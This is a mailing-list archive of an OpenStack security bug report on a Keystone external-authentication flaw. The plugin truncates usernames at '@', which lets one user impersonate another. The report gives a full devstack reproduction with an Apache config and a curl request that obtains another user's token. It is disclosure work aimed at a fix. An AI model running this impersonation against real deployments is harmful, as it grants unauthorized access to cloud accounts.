[Openstack-security] [Bug 1254619] Re: external.Default authentication plugin only considers leftmost part of the REMOTE_USER split by "@"
Thierry Carrez
thierry.carrez+lp at gmail.com
Tue Dec 10 09:52:43 UTC 2013
Adding ossn team as they might want to address this in a security
note...
** Also affects: ossn
Importance: Undecided
Status: New
--
You received this bug notification because you are a member of OpenStack
Security Group, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1254619
Title:
external.Default authentication plugin only considers leftmost part of
the REMOTE_USER split by "@"
Status in OpenStack Identity (Keystone):
Triaged
Status in OpenStack Security Advisories:
Invalid
Status in OpenStack Security Notes:
New
Bug description:
Hi there.
Keystone allows the usage of external authentication. This external
authentication makes possible for the deployers to integrate external
euth methods in Keystone. When it is executed as a WSGI application
(for example when executed behind apache using mod_wsgi) the
authentication can be made by the web server and the user will be
passed down using the REMOTE_USER environment variable. It is also
possible to use external authn by creating a custom WSGI filter that
will be pipelined. More details of this behaviour can be seen in [0].
[0] http://docs.openstack.org/developer/keystone/external-auth.html
Since the Havana release, this code has been refactored and moved to a
pluggable mechanism under keystone/auth/plugins/external.py. If I am
not wrong, this was introduced in commit
88c319e6bce98082f9a90b8b27726793d5366326 [1]. This code is in
stable/havana since that commit, and is currently in the trunk.
[1]
https://github.com/openstack/keystone/commit/88c319e6bce98082f9a90b8b27726793d5366326
During the review of [2] the ExternalDefault plugin I've realized that
the way the plugin extracts the username can lead to impersonation.
The excerpt of code that extracts the username is this one [3]:
names = remote_user.split('@')
username = names.pop(0)
domain_id = CONF.identity.default_domain_id
user_ref = auth_info.identity_api.get_user_by_name(username,
domain_id)
When Keystone is configured to use the defualt domain, the REMOTE_USER
variable is splited by all the "@" and then only the leftfmost part is
considered, while the leftovers are discarded. Since a username can
contain "@" inside (for example when emails are used as usernames)
"john" "john at example.org" and "john at foobar.net" will all get a token
belonging to the "john" user.
[2] https://review.openstack.org/#/c/50362
[3] https://github.com/openstack/keystone/blob/stable/havana/keystone/auth/plugins/external.py#L39
External authentication opens the door for any deployer to use any
authentication mechanism. OpenStack does not ship any external
authentication mechanism, but it is perfectly possible to use emails
as the usernames (or usernames containing "@", as X509 certificate
DNs). For example, a LDAP directory could be configured in Apache to
let the users in, and set the REMOTE_USER as the username, instead of
the user DN.
It is possible to easily reproduce this using devstack as follows:
ubuntu at test-ks-vuln:~/devstack$ cat > localrc << EOF
> ENABLED_SERVICES=key,mysql
> APACHE_ENABLED_SERVICES+=keystone
> EOF
ubuntu at test-ks-vuln:~/devstack$ ./stack.sh
(...)
ubuntu at test-ks-vuln:~/devstack$ source openrc admin admin
ubuntu at test-ks-vuln:~/devstack$ keystone user-list
+----------------------------------+-------+---------+-------------------+
| id | name | enabled | email |
+----------------------------------+-------+---------+-------------------+
| dc90b499a1c0499997bd35ba19a2436c | admin | True | admin at example.com |
| 685cd73e645243c2ba81314cbc5ac89a | demo | True | demo at example.com |
+----------------------------------+-------+---------+-------------------+
ubuntu at test-ks-vuln:~/devstack$ keystone tenant-list
+----------------------------------+--------------------+---------+
| id | name | enabled |
+----------------------------------+--------------------+---------+
| d5319bc5b7054e0589ad32048813ee1a | admin | True |
| badfa689e32a4d9fb7d102a7d92ad3b7 | demo | True |
| 110627ae8c534b548d70a5a159ff65ee | invisible_to_admin | True |
| 92484643deb246e680ee3d716a7dfeea | service | True |
+----------------------------------+--------------------+---------+
ubuntu at test-ks-vuln:~/devstack$ keystone tenant-create --name external_users
+-------------+----------------------------------+
| Property | Value |
+-------------+----------------------------------+
| description | |
Listen 5000
| enabled | True |
Listen 5000
| id | 3ac4e3f06a3548378eb26e3be8dc3952 |
| name | external_users |
+-------------+----------------------------------+
ubuntu at test-ks-vuln:~/devstack$ keystone user-create --name john --tenant d5319bc5b7054e0589ad32048813ee1a --pass secret
+----------+----------------------------------+
| Property | Value |
+----------+----------------------------------+
| email | |
Listen 5000
| enabled | True |
| id | a8fe063e8a124f89ada9526d401aad98 |
| name | john |
| tenantId | d5319bc5b7054e0589ad32048813ee1a |
+----------+----------------------------------+
ubuntu at test-ks-vuln:~/devstack$ keystone user-create --name john at external_user.com --tenant 3ac4e3f06a3548378eb26e3be8dc3952 --pass secret
+----------+----------------------------------+
| Property | Value |
+----------+----------------------------------+
| email | |
| enabled | True |
| id | 6af78b4bdca646a68069d74cdf8e5334 |
| name | john at external_user.com |
| tenantId | 3ac4e3f06a3548378eb26e3be8dc3952 |
+----------+----------------------------------+
So far I've two different users. For the shake of simplicity I will
use Apache's basic authentication, so it is needed to add the
following excerpt to /etc/apache2/sites-enabled/keystone:
Listen 5001
<VirtualHost *:5001>
WSGIDaemonProcess keystone-public2 processes=5 threads=1 user=ubuntu
WSGIProcessGroup keystone-public2
WSGIScriptAlias / /var/www/keystone/main
WSGIApplicationGroup %{GLOBAL}
ErrorLog /var/log/apache2/keystone
LogLevel debug
CustomLog /var/log/apache2/access.log combined
<Location />
AuthType Basic
AuthName "Restricted Files"
AuthBasicProvider file
AuthUserFile /opt/stack/htpasswd
Require valid-user
</Location>
</VirtualHost>
And then, create the external user, and authenticate with it:
ubuntu at test-ks-vuln:~/devstack$ sudo htpasswd -c /opt/stack/htpasswd john at external_user.com
New password:
Re-type new password:
Adding password for user john at external_user.com
ubuntu at test-ks-vuln:~/devstack$ sudo /etc/init.d/apache2 restart
* Restarting web server apache2
* ... waiting
ubuntu at test-ks-vuln:~/devstack$
ubuntu at test-ks-vuln:~$ curl --user john at external_user.com:secret -d '{"auth": {"identity":{ "methods": []}}}' -H "Content-type: application/json" http://172.16.0.63:5001/v3/auth/tokens |python -mjson.tool
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1134 100 1095 100 39 2301 81 --:--:-- --:--:-- --:--:-- 2300
{
"token": {
"catalog": [
{
"endpoints": [
{
"id": "d0b2b692496a4d2c8a70e63543782aed",
"interface": "internal",
"legacy_endpoint_id": "59eddafa29194ef5a1d221aad17f2f2e",
"region": "RegionOne",
"url": "http://172.16.0.63:5000/v2.0"
},
{
"id": "da7fe597a1b84529910e890807b47bdb",
"interface": "admin",
"legacy_endpoint_id": "59eddafa29194ef5a1d221aad17f2f2e",
"region": "RegionOne",
"url": "http://172.16.0.63:35357/v2.0"
},
{
"id": "eeda9fbcffe94588ad15689d33f2c1e9",
"interface": "public",
"legacy_endpoint_id": "59eddafa29194ef5a1d221aad17f2f2e",
"region": "RegionOne",
"url": "http://172.16.0.63:5000/v2.0"
}
],
"id": "14a4bd4966b74503ab2fb47836101824",
"type": "identity"
}
],
"expires_at": "2013-11-26T23:04:55.341085Z",
"extras": {},
"issued_at": "2013-11-25T23:04:55.341121Z",
"methods": [],
"project": {
"domain": {
"id": "default",
"name": "Default"
},
"id": "d5319bc5b7054e0589ad32048813ee1a",
"name": "admin"
},
"roles": [
{
"id": "9fe2ff9ee4384b1894a90878d3e92bab",
"name": "_member_"
}
],
"user": {
"domain": {
"id": "default",
"name": "Default"
},
"id": "a8fe063e8a124f89ada9526d401aad98",
"name": "john"
}
}
}
As you can see, I am getting the id for the user "john"
(a8fe063e8a124f89ada9526d401aad98) instead of the user
"john at example_user.com" (6af78b4bdca646a68069d74cdf8e5334). The patch
in [2] should fix this issue (although it was initially unrelated)
since it does not split the username when using the ExternalDefault
plugin.
To manage notifications about this bug go to:
https://bugs.launchpad.net/keystone/+bug/1254619/+subscriptions
More information about the Openstack-security
mailing list